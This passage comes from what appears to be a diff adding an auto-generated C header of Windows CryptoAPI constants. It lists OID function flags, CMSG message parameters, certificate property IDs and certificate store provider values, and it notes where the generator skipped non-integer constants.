non-integer constant +// SKIPPED const CRYPT_OID_DECODE_OBJECT_EX_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_CREATE_COM_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_VERIFY_REVOCATION_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_VERIFY_CTL_USAGE_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_FORMAT_OBJECT_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_FIND_OID_INFO_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_FIND_LOCALIZED_NAME_FUNC: non-integer constant +// SKIPPED const CRYPT_OID_REGPATH: non-integer constant +// SKIPPED const CRYPT_OID_REG_ENCODING_TYPE_PREFIX: non-integer constant +// SKIPPED const CRYPT_OID_REG_DLL_VALUE_NAME: non-integer constant +// SKIPPED const CRYPT_OID_REG_FUNC_NAME_VALUE_NAME: non-integer constant +// SKIPPED const CRYPT_OID_REG_FUNC_NAME_VALUE_NAME_A: non-integer constant +// SKIPPED const CRYPT_OID_REG_FLAGS_VALUE_NAME: non-integer constant +// SKIPPED const CRYPT_DEFAULT_OID: non-integer constant +#define CRYPT_INSTALL_OID_FUNC_BEFORE_FLAG 0x1 +#define CRYPT_GET_INSTALLED_OID_FUNC_FLAG 0x1 +#define CRYPT_REGISTER_FIRST_INDEX 0x0 +#define CRYPT_REGISTER_LAST_INDEX 0xffffffff +#define CRYPT_MATCH_ANY_ENCODING_TYPE 0xffffffff +#define CALG_OID_INFO_CNG_ONLY 0xffffffff +#define CALG_OID_INFO_PARAMETERS 0xfffffffe +#define CALG_OID_INFO_PQ 0xfffffffd +// SKIPPED const CRYPT_OID_INFO_HASH_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_ECC_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_MGF1_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_NO_SIGN_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_OAEP_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_ECC_WRAP_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_NO_PARAMETERS_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_NO_HASH_ALGORITHM: non-integer constant +// SKIPPED const CRYPT_OID_INFO_PREHASH_ALGORITHM: non-integer constant +#define CRYPT_HASH_ALG_OID_GROUP_ID 0x1 +#define CRYPT_ENCRYPT_ALG_OID_GROUP_ID 0x2 +#define CRYPT_PUBKEY_ALG_OID_GROUP_ID 0x3 +#define CRYPT_SIGN_ALG_OID_GROUP_ID 0x4 +#define CRYPT_RDN_ATTR_OID_GROUP_ID 0x5 +#define CRYPT_EXT_OR_ATTR_OID_GROUP_ID 0x6 +#define CRYPT_ENHKEY_USAGE_OID_GROUP_ID 0x7 +#define CRYPT_POLICY_OID_GROUP_ID 0x8 +#define CRYPT_TEMPLATE_OID_GROUP_ID 0x9 +#define CRYPT_KDF_OID_GROUP_ID 0xa +#define CRYPT_LAST_OID_GROUP_ID 0xa +#define CRYPT_FIRST_ALG_OID_GROUP_ID 0x1 +#define CRYPT_LAST_ALG_OID_GROUP_ID 0x4 +#define CRYPT_OID_PQ_EXTRA_INFO_FLAGS_INDEX 0x0 +#define CRYPT_OID_PQ_EXTRA_INFO_PUBLIC_MAGIC_INDEX 0x1 +#define CRYPT_OID_PQ_EXTRA_INFO_PRIVATE_MAGIC_INDEX 0x2 +#define CRYPT_OID_PQ_EXTRA_INFO_PUBLIC_KEY_LENGTH_INDEX 0x3 +#define CRYPT_OID_PQ_EXTRA_INFO_PRIVATE_KEY_LENGTH_INDEX 0x4 +#define CRYPT_OID_PQ_EXTRA_INFO_SIGNATURE_LENGTH_INDEX 0x5 +#define CRYPT_OID_PQ_EXTRA_INFO_MAX_LENGTH 0x6 +#define CRYPT_OID_INHIBIT_SIGNATURE_FORMAT_FLAG 0x1 +#define CRYPT_OID_USE_PUBKEY_PARA_FOR_PKCS7_FLAG 0x2 +#define CRYPT_OID_NO_NULL_ALGORITHM_PARA_FLAG 0x4 +#define CRYPT_OID_PUBKEY_SIGN_ONLY_FLAG 0x80000000 +#define CRYPT_OID_PUBKEY_ENCRYPT_ONLY_FLAG 0x40000000 +#define CRYPT_OID_USE_CURVE_NAME_FOR_ENCODE_FLAG 0x20000000 +#define CRYPT_OID_USE_CURVE_PARAMETERS_FOR_ENCODE_FLAG 0x10000000 +#define CRYPT_OID_PUBKEY_PURE_ONLY_FLAG 0x8000000 +#define CRYPT_OID_PUBKEY_PREHASH_ONLY_FLAG 0x4000000 +#define CRYPT_OID_INFO_OID_KEY 0x1 +#define CRYPT_OID_INFO_NAME_KEY 0x2 +#define CRYPT_OID_INFO_ALGID_KEY 0x3 +#define CRYPT_OID_INFO_SIGN_KEY 0x4 +#define CRYPT_OID_INFO_CNG_ALGID_KEY 0x5 +#define CRYPT_OID_INFO_CNG_SIGN_KEY 0x6 +#define CRYPT_OID_INFO_OID_KEY_FLAGS_MASK 0xffff0000 +#define CRYPT_OID_INFO_PUBKEY_PURE_KEY_FLAG 0x8000000 +#define CRYPT_OID_INFO_PUBKEY_PREHASH_KEY_FLAG 0x4000000 +#define CRYPT_OID_DISABLE_SEARCH_DS_FLAG 0x80000000 +#define CRYPT_OID_PREFER_CNG_ALGID_FLAG 0x40000000 +#define CRYPT_OID_INFO_OID_GROUP_BIT_LEN_MASK 0xfff0000 +#define CRYPT_OID_INFO_OID_GROUP_BIT_LEN_SHIFT 0x10 +#define CRYPT_INSTALL_OID_INFO_BEFORE_FLAG 0x1 +#define CRYPT_LOCALIZED_NAME_ENCODING_TYPE 0x0 +// SKIPPED const CRYPT_LOCALIZED_NAME_OID: non-integer constant +// SKIPPED const CERT_STRONG_SIGN_ECDSA_ALGORITHM: non-integer constant +#define CERT_STRONG_SIGN_SERIALIZED_INFO_CHOICE 0x1 +#define CERT_STRONG_SIGN_OID_INFO_CHOICE 0x2 +// SKIPPED const szOID_CERT_STRONG_SIGN_OS_PREFIX: non-integer constant +// SKIPPED const szOID_CERT_STRONG_SIGN_OS_1: non-integer constant +// SKIPPED const szOID_CERT_STRONG_SIGN_OS_CURRENT: non-integer constant +// SKIPPED const szOID_CERT_STRONG_KEY_OS_PREFIX: non-integer constant +// SKIPPED const szOID_CERT_STRONG_KEY_OS_1: non-integer constant +// SKIPPED const szOID_CERT_STRONG_KEY_OS_CURRENT: non-integer constant +// SKIPPED const szOID_NO_HASH: non-integer constant +// SKIPPED const szOID_PKCS_7_DATA: non-integer constant +// SKIPPED const szOID_PKCS_7_SIGNED: non-integer constant +// SKIPPED const szOID_PKCS_7_ENVELOPED: non-integer constant +// SKIPPED const szOID_PKCS_7_SIGNEDANDENVELOPED: non-integer constant +// SKIPPED const szOID_PKCS_7_DIGESTED: non-integer constant +// SKIPPED const szOID_PKCS_7_ENCRYPTED: non-integer constant +// SKIPPED const szOID_PKCS_9_CONTENT_TYPE: non-integer constant +// SKIPPED const szOID_PKCS_9_MESSAGE_DIGEST: non-integer constant +#define CMSG_ENCRYPTED 0x6 +#define CMSG_MAIL_LIST_HANDLE_KEY_CHOICE 0x1 +#define CMSG_KEY_TRANS_RECIPIENT 0x1 +#define CMSG_KEY_AGREE_RECIPIENT 0x2 +#define CMSG_MAIL_LIST_RECIPIENT 0x3 +#define CMSG_SP3_COMPATIBLE_ENCRYPT_FLAG 0x80000000 +#define CMSG_RC4_NO_SALT_FLAG 0x40000000 +#define CMSG_INDEFINITE_LENGTH 0xffffffff +#define CMSG_BARE_CONTENT_FLAG 0x1 +#define CMSG_LENGTH_ONLY_FLAG 0x2 +#define CMSG_DETACHED_FLAG 0x4 +#define CMSG_AUTHENTICATED_ATTRIBUTES_FLAG 0x8 +#define CMSG_CONTENTS_OCTETS_FLAG 0x10 +#define CMSG_MAX_LENGTH_FLAG 0x20 +#define CMSG_CMS_ENCAPSULATED_CONTENT_FLAG 0x40 +#define CMSG_SIGNED_DATA_NO_SIGN_FLAG 0x80 +#define CMSG_CRYPT_RELEASE_CONTEXT_FLAG 0x8000 +#define CMSG_TYPE_PARAM 0x1 +#define CMSG_CONTENT_PARAM 0x2 +#define CMSG_BARE_CONTENT_PARAM 0x3 +#define CMSG_INNER_CONTENT_TYPE_PARAM 0x4 +#define CMSG_SIGNER_COUNT_PARAM 0x5 +#define CMSG_SIGNER_INFO_PARAM 0x6 +#define CMSG_SIGNER_CERT_INFO_PARAM 0x7 +#define CMSG_SIGNER_HASH_ALGORITHM_PARAM 0x8 +#define CMSG_SIGNER_AUTH_ATTR_PARAM 0x9 +#define CMSG_SIGNER_UNAUTH_ATTR_PARAM 0xa +#define CMSG_CERT_COUNT_PARAM 0xb +#define CMSG_CERT_PARAM 0xc +#define CMSG_CRL_COUNT_PARAM 0xd +#define CMSG_CRL_PARAM 0xe +#define CMSG_ENVELOPE_ALGORITHM_PARAM 0xf +#define CMSG_RECIPIENT_COUNT_PARAM 0x11 +#define CMSG_RECIPIENT_INDEX_PARAM 0x12 +#define CMSG_RECIPIENT_INFO_PARAM 0x13 +#define CMSG_HASH_ALGORITHM_PARAM 0x14 +#define CMSG_HASH_DATA_PARAM 0x15 +#define CMSG_COMPUTED_HASH_PARAM 0x16 +#define CMSG_ENCRYPT_PARAM 0x1a +#define CMSG_ENCRYPTED_DIGEST 0x1b +#define CMSG_ENCODED_SIGNER 0x1c +#define CMSG_ENCODED_MESSAGE 0x1d +#define CMSG_VERSION_PARAM 0x1e +#define CMSG_ATTR_CERT_COUNT_PARAM 0x1f +#define CMSG_ATTR_CERT_PARAM 0x20 +#define CMSG_CMS_RECIPIENT_COUNT_PARAM 0x21 +#define CMSG_CMS_RECIPIENT_INDEX_PARAM 0x22 +#define CMSG_CMS_RECIPIENT_ENCRYPTED_KEY_INDEX_PARAM 0x23 +#define CMSG_CMS_RECIPIENT_INFO_PARAM 0x24 +#define CMSG_UNPROTECTED_ATTR_PARAM 0x25 +#define CMSG_SIGNER_CERT_ID_PARAM 0x26 +#define CMSG_CMS_SIGNER_INFO_PARAM 0x27 +#define CMSG_SIGNED_DATA_V1 0x1 +#define CMSG_SIGNED_DATA_V3 0x3 +#define CMSG_SIGNED_DATA_PKCS_1_5_VERSION 0x1 +#define CMSG_SIGNED_DATA_CMS_VERSION 0x3 +#define CMSG_SIGNER_INFO_V1 0x1 +#define CMSG_SIGNER_INFO_V3 0x3 +#define CMSG_SIGNER_INFO_PKCS_1_5_VERSION 0x1 +#define CMSG_SIGNER_INFO_CMS_VERSION 0x3 +#define CMSG_HASHED_DATA_V0 0x0 +#define CMSG_HASHED_DATA_V2 0x2 +#define CMSG_HASHED_DATA_PKCS_1_5_VERSION 0x0 +#define CMSG_HASHED_DATA_CMS_VERSION 0x2 +#define CMSG_ENVELOPED_DATA_V0 0x0 +#define CMSG_ENVELOPED_DATA_V2 0x2 +#define CMSG_ENVELOPED_DATA_PKCS_1_5_VERSION 0x0 +#define CMSG_ENVELOPED_DATA_CMS_VERSION 0x2 +#define CMSG_ENVELOPED_RECIPIENT_V0 0x0 +#define CMSG_ENVELOPED_RECIPIENT_V2 0x2 +#define CMSG_ENVELOPED_RECIPIENT_V3 0x3 +#define CMSG_ENVELOPED_RECIPIENT_V4 0x4 +#define CMSG_KEY_TRANS_PKCS_1_5_VERSION 0x0 +#define CMSG_KEY_TRANS_CMS_VERSION 0x2 +#define CMSG_KEY_AGREE_VERSION 0x3 +#define CMSG_MAIL_LIST_VERSION 0x4 +#define CMSG_CTRL_VERIFY_SIGNATURE 0x1 +#define CMSG_CTRL_DECRYPT 0x2 +#define CMSG_CTRL_VERIFY_HASH 0x5 +#define CMSG_CTRL_ADD_SIGNER 0x6 +#define CMSG_CTRL_DEL_SIGNER 0x7 +#define CMSG_CTRL_ADD_SIGNER_UNAUTH_ATTR 0x8 +#define CMSG_CTRL_DEL_SIGNER_UNAUTH_ATTR 0x9 +#define CMSG_CTRL_ADD_CERT 0xa +#define CMSG_CTRL_DEL_CERT 0xb +#define CMSG_CTRL_ADD_CRL 0xc +#define CMSG_CTRL_DEL_CRL 0xd +#define CMSG_CTRL_ADD_ATTR_CERT 0xe +#define CMSG_CTRL_DEL_ATTR_CERT 0xf +#define CMSG_CTRL_KEY_TRANS_DECRYPT 0x10 +#define CMSG_CTRL_KEY_AGREE_DECRYPT 0x11 +#define CMSG_CTRL_MAIL_LIST_DECRYPT 0x12 +#define CMSG_CTRL_VERIFY_SIGNATURE_EX 0x13 +#define CMSG_CTRL_ADD_CMS_SIGNER_INFO 0x14 +#define CMSG_CTRL_ENABLE_STRONG_SIGNATURE 0x15 +#define CMSG_VERIFY_SIGNER_PUBKEY 0x1 +#define CMSG_VERIFY_SIGNER_CERT 0x2 +#define CMSG_VERIFY_SIGNER_CHAIN 0x3 +#define CMSG_VERIFY_SIGNER_NULL 0x4 +#define CMSG_VERIFY_COUNTER_SIGN_ENABLE_STRONG_FLAG 0x1 +// SKIPPED const CMSG_OID_GEN_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_EXPORT_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_ENCRYPT_KEY_FUNC: non-integer constant +#define CMSG_DEFAULT_INSTALLABLE_FUNC_OID 1 +#define CMSG_CONTENT_ENCRYPT_PAD_ENCODED_LEN_FLAG 0x1 +#define CMSG_CONTENT_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_CONTENT_ENCRYPT_FREE_OBJID_FLAG 0x2 +#define CMSG_CONTENT_ENCRYPT_RELEASE_CONTEXT_FLAG 0x8000 +// SKIPPED const CMSG_OID_GEN_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_GEN_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_GEN_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +#define CMSG_KEY_TRANS_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_KEY_TRANS_ENCRYPT_FREE_OBJID_FLAG 0x2 +// SKIPPED const CMSG_OID_EXPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_EXPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_EXPORT_KEY_TRANS_FUNC: non-integer constant +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_MATERIAL_FLAG 0x2 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PUBKEY_ALG_FLAG 0x4 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PUBKEY_PARA_FLAG 0x8 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_PUBKEY_BITS_FLAG 0x10 +#define CMSG_KEY_AGREE_ENCRYPT_FREE_OBJID_FLAG 0x20 +// SKIPPED const CMSG_OID_EXPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_EXPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_EXPORT_KEY_AGREE_FUNC: non-integer constant +#define CMSG_MAIL_LIST_ENCRYPT_FREE_PARA_FLAG 0x1 +#define CMSG_MAIL_LIST_ENCRYPT_FREE_OBJID_FLAG 0x2 +// SKIPPED const CMSG_OID_EXPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_EXPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_IMPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_IMPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_IMPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CAPI1_IMPORT_MAIL_LIST_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_IMPORT_KEY_TRANS_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_IMPORT_KEY_AGREE_FUNC: non-integer constant +// SKIPPED const CMSG_OID_CNG_IMPORT_CONTENT_ENCRYPT_KEY_FUNC: non-integer constant +#define CERT_KEY_PROV_HANDLE_PROP_ID 0x1 +#define CERT_KEY_PROV_INFO_PROP_ID 0x2 +#define CERT_SHA1_HASH_PROP_ID 0x3 +#define CERT_MD5_HASH_PROP_ID 0x4 +#define CERT_HASH_PROP_ID 0x3 +#define CERT_KEY_CONTEXT_PROP_ID 0x5 +#define CERT_KEY_SPEC_PROP_ID 0x6 +#define CERT_IE30_RESERVED_PROP_ID 0x7 +#define CERT_PUBKEY_HASH_RESERVED_PROP_ID 0x8 +#define CERT_ENHKEY_USAGE_PROP_ID 0x9 +#define CERT_CTL_USAGE_PROP_ID 0x9 +#define CERT_NEXT_UPDATE_LOCATION_PROP_ID 0xa +#define CERT_FRIENDLY_NAME_PROP_ID 0xb +#define CERT_PVK_FILE_PROP_ID 0xc +#define CERT_DESCRIPTION_PROP_ID 0xd +#define CERT_ACCESS_STATE_PROP_ID 0xe +#define CERT_SIGNATURE_HASH_PROP_ID 0xf +#define CERT_SMART_CARD_DATA_PROP_ID 0x10 +#define CERT_EFS_PROP_ID 0x11 +#define CERT_FORTEZZA_DATA_PROP_ID 0x12 +#define CERT_ARCHIVED_PROP_ID 0x13 +#define CERT_KEY_IDENTIFIER_PROP_ID 0x14 +#define CERT_AUTO_ENROLL_PROP_ID 0x15 +#define CERT_PUBKEY_ALG_PARA_PROP_ID 0x16 +#define CERT_CROSS_CERT_DIST_POINTS_PROP_ID 0x17 +#define CERT_ISSUER_PUBLIC_KEY_MD5_HASH_PROP_ID 0x18 +#define CERT_SUBJECT_PUBLIC_KEY_MD5_HASH_PROP_ID 0x19 +#define CERT_ENROLLMENT_PROP_ID 0x1a +#define CERT_DATE_STAMP_PROP_ID 0x1b +#define CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID 0x1c +#define CERT_SUBJECT_NAME_MD5_HASH_PROP_ID 0x1d +#define CERT_EXTENDED_ERROR_INFO_PROP_ID 0x1e +#define CERT_RENEWAL_PROP_ID 0x40 +#define CERT_ARCHIVED_KEY_HASH_PROP_ID 0x41 +#define CERT_AUTO_ENROLL_RETRY_PROP_ID 0x42 +#define CERT_AIA_URL_RETRIEVED_PROP_ID 0x43 +#define CERT_AUTHORITY_INFO_ACCESS_PROP_ID 0x44 +#define CERT_BACKED_UP_PROP_ID 0x45 +#define CERT_OCSP_RESPONSE_PROP_ID 0x46 +#define CERT_REQUEST_ORIGINATOR_PROP_ID 0x47 +#define CERT_SOURCE_LOCATION_PROP_ID 0x48 +#define CERT_SOURCE_URL_PROP_ID 0x49 +#define CERT_NEW_KEY_PROP_ID 0x4a +#define CERT_OCSP_CACHE_PREFIX_PROP_ID 0x4b +#define CERT_SMART_CARD_ROOT_INFO_PROP_ID 0x4c +#define CERT_NO_AUTO_EXPIRE_CHECK_PROP_ID 0x4d +#define CERT_NCRYPT_KEY_HANDLE_PROP_ID 0x4e +#define CERT_HCRYPTPROV_OR_NCRYPT_KEY_HANDLE_PROP_ID 0x4f +#define CERT_SUBJECT_INFO_ACCESS_PROP_ID 0x50 +#define CERT_CA_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID 0x51 +#define CERT_CA_DISABLE_CRL_PROP_ID 0x52 +#define CERT_ROOT_PROGRAM_CERT_POLICIES_PROP_ID 0x53 +#define CERT_ROOT_PROGRAM_NAME_CONSTRAINTS_PROP_ID 0x54 +#define CERT_SUBJECT_OCSP_AUTHORITY_INFO_ACCESS_PROP_ID 0x55 +#define CERT_SUBJECT_DISABLE_CRL_PROP_ID 0x56 +#define CERT_CEP_PROP_ID 0x57 +#define CERT_SIGN_HASH_CNG_ALG_PROP_ID 0x59 +#define CERT_SCARD_PIN_ID_PROP_ID 0x5a +#define CERT_SCARD_PIN_INFO_PROP_ID 0x5b +#define CERT_SUBJECT_PUB_KEY_BIT_LENGTH_PROP_ID 0x5c +#define CERT_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID 0x5d +#define CERT_ISSUER_PUB_KEY_BIT_LENGTH_PROP_ID 0x5e +#define CERT_ISSUER_CHAIN_SIGN_HASH_CNG_ALG_PROP_ID 0x5f +#define CERT_ISSUER_CHAIN_PUB_KEY_CNG_ALG_BIT_LENGTH_PROP_ID 0x60 +#define CERT_NO_EXPIRE_NOTIFICATION_PROP_ID 0x61 +#define CERT_AUTH_ROOT_SHA256_HASH_PROP_ID 0x62 +#define CERT_NCRYPT_KEY_HANDLE_TRANSFER_PROP_ID 0x63 +#define CERT_HCRYPTPROV_TRANSFER_PROP_ID 0x64 +#define CERT_SMART_CARD_READER_PROP_ID 0x65 +#define CERT_SEND_AS_TRUSTED_ISSUER_PROP_ID 0x66 +#define CERT_KEY_REPAIR_ATTEMPTED_PROP_ID 0x67 +#define CERT_DISALLOWED_FILETIME_PROP_ID 0x68 +#define CERT_ROOT_PROGRAM_CHAIN_POLICIES_PROP_ID 0x69 +#define CERT_SMART_CARD_READER_NON_REMOVABLE_PROP_ID 0x6a +#define CERT_SHA256_HASH_PROP_ID 0x6b +#define CERT_SCEP_SERVER_CERTS_PROP_ID 0x6c +#define CERT_SCEP_RA_SIGNATURE_CERT_PROP_ID 0x6d +#define CERT_SCEP_RA_ENCRYPTION_CERT_PROP_ID 0x6e +#define CERT_SCEP_CA_CERT_PROP_ID 0x6f +#define CERT_SCEP_SIGNER_CERT_PROP_ID 0x70 +#define CERT_SCEP_NONCE_PROP_ID 0x71 +#define CERT_SCEP_ENCRYPT_HASH_CNG_ALG_PROP_ID 0x72 +#define CERT_SCEP_FLAGS_PROP_ID 0x73 +#define CERT_SCEP_GUID_PROP_ID 0x74 +#define CERT_SERIALIZABLE_KEY_CONTEXT_PROP_ID 0x75 +#define CERT_ISOLATED_KEY_PROP_ID 0x76 +#define CERT_SERIAL_CHAIN_PROP_ID 0x77 +#define CERT_KEY_CLASSIFICATION_PROP_ID 0x78 +#define CERT_OCSP_MUST_STAPLE_PROP_ID 0x79 +#define CERT_DISALLOWED_ENHKEY_USAGE_PROP_ID 0x7a +#define CERT_NONCOMPLIANT_ROOT_URL_PROP_ID 0x7b +#define CERT_PIN_SHA256_HASH_PROP_ID 0x7c +#define CERT_CLR_DELETE_KEY_PROP_ID 0x7d +#define CERT_NOT_BEFORE_FILETIME_PROP_ID 0x7e +#define CERT_NOT_BEFORE_ENHKEY_USAGE_PROP_ID 0x7f +#define CERT_DISALLOWED_CA_FILETIME_PROP_ID 0x80 +#define CERT_SHA1_SHA256_HASH_PROP_ID 0x81 +#define CERT_FIRST_RESERVED_PROP_ID 0x82 +#define CERT_LAST_RESERVED_PROP_ID 0x7fff +#define CERT_FIRST_USER_PROP_ID 0x8000 +#define CERT_LAST_USER_PROP_ID 0xffff +// SKIPPED const szOID_CERT_PROP_ID_PREFIX: non-integer constant +// SKIPPED const szOID_CERT_KEY_IDENTIFIER_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_MD5_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_SHA256_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_SIGNATURE_HASH_PROP_ID: non-integer constant +// SKIPPED const szOID_DISALLOWED_HASH: non-integer constant +// SKIPPED const szOID_CERT_DISALLOWED_FILETIME_PROP_ID: non-integer constant +// SKIPPED const szOID_CERT_DISALLOWED_CA_FILETIME_PROP_ID: non-integer constant +#define CERT_ACCESS_STATE_WRITE_PERSIST_FLAG 0x1 +#define CERT_ACCESS_STATE_SYSTEM_STORE_FLAG 0x2 +#define CERT_ACCESS_STATE_LM_SYSTEM_STORE_FLAG 0x4 +#define CERT_ACCESS_STATE_GP_SYSTEM_STORE_FLAG 0x8 +#define CERT_ACCESS_STATE_SHARED_USER_FLAG 0x10 +// SKIPPED const szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION: non-integer constant +// SKIPPED const szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION: non-integer constant +// SKIPPED const szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL: non-integer constant +#define CERT_STORE_PROV_MSG 1 +#define CERT_STORE_PROV_MEMORY 2 +#define CERT_STORE_PROV_FILE 3 +#define CERT_STORE_PROV_REG 4 +#define CERT_STORE_PROV_PKCS7 5 +#define CERT_STORE_PROV_SERIALIZED 6 +#define CERT_STORE_PROV_FILENAME_A 7 +#define CERT_STORE_PROV_FILENAME_W 8 +#define CERT_STORE_PROV_FILENAME 8 +#define CERT_STORE_PROV_SYSTEM_A 9 +#define CERT_STORE_PROV_SYSTEM_W 10 +#define CERT_STORE_PROV_SYSTEM 10 +#define CERT_STORE_PROV_COLLECTION 11 +#define CERT_STORE_PROV_SYSTEM_REGISTRY_A 12 +#define CERT_STORE_PROV_SYSTEM_REGISTRY_W 13 +#define CERT_STORE_PROV_SYSTEM_REGISTRY 13 +#define CERT_STORE_PROV_PHYSICAL_W 14 +#define CERT_STORE_PROV_PHYSICAL 14 +#define CERT_STORE_PROV_SMART_CARD_W 15 +#define CERT_STORE_PROV_SMART_CARD 15 +#define CERT_STORE_PROV_LDAP_W 16 +#define CERT_STORE_PROV_LDAP 16 +#define CERT_STORE_PROV_PKCS12 17 +// SKIPPED const sz_CERT_STORE_PROV_MEMORY: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_FILENAME_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_FILENAME: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PKCS7: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PKCS12: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SERIALIZED: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_COLLECTION: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM_REGISTRY_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SYSTEM_REGISTRY: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PHYSICAL_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_PHYSICAL: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SMART_CARD_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_SMART_CARD: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_LDAP_W: non-integer constant +// SKIPPED const sz_CERT_STORE_PROV_LDAP: non-integer constant +#define CERT_STORE_SIGNATURE_FLAG 0x1 +#define CERT_STORE_TIME_VALIDITY_FLAG 0x2 +#define CERT_STORE_REVOCATION_FLAG 0x4 +#define CERT_STORE_NO_CRL_FLAG 0x10000 +#define CERT_STORE_NO_ISSUER_FLAG 0x20000 +#define CERT_STORE_BASE_CRL_FLAG 0x100 +#define CERT_STORE_DELTA_CRL_FLAG 0x200 +#define CERT_STORE_UNSAFE_PHYSICAL_FLAG 0x20 +#define CERT_STORE_SHARE_STORE_FLAG 0x40 +#define CERT_STORE_MANIFOLD_FLAG 0x100 +#define CERT_SYSTEM_STORE_MASK 0xffff0000 +#define CERT_SYSTEM_STORE_UNPROTECTED_FLAG 0x40000000 +#define CERT_SYSTEM_STORE_DEFER_READ_FLAG 0x20000000 +#define CERT_SYSTEM_STORE_LOCATION_SHIFT 0x10 +#define CERT_SYSTEM_STORE_CURRENT_USER_ID 0x1 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_ID 0x2 +#define CERT_SYSTEM_STORE_CURRENT_SERVICE_ID 0x4 +#define CERT_SYSTEM_STORE_SERVICES_ID 0x5 +#define CERT_SYSTEM_STORE_USERS_ID 0x6 +#define CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY_ID 0x7 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY_ID 0x8 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE_ID 0x9 +#define CERT_SYSTEM_STORE_LOCAL_MACHINE_WCOS_ID 0xa +// SKIPPED const CERT_GROUP_POLICY_SYSTEM_STORE_REGPATH: non-integer constant +// SKIPPED const CERT_EFSBLOB_VALUE_NAME: non-integer constant +// SKIPPED const CERT_PROT_ROOT_FLAGS_VALUE_NAME: non-integer constant +#define CERT_PROT_ROOT_DISABLE_CURRENT_USER_FLAG 0x1 +#define CERT_PROT_ROOT_INHIBIT_ADD_AT_INIT_FLAG 0x2 +#define CERT_PROT_ROOT_INHIBIT_PURGE_LM_FLAG 0x4 +#define CERT_PROT_ROOT_DISABLE_LM_AUTH_FLAG 0x8 +#define CERT_PROT_ROOT_ONLY_LM_GPT_FLAG 0x8 +#define CERT_PROT_ROOT_DISABLE_NT_AUTH_REQUIRED_FLAG 0x10 +#define CERT_PROT_ROOT_DISABLE_NOT_DEFINED_NAME_CONSTRAINT_FLAG 0x20 +#define CERT_PROT_ROOT_DISABLE_PEER_TRUST 0x10000 +// SKIPPED const CERT_PROT_ROOT_PEER_USAGES_VALUE_NAME: non-integer 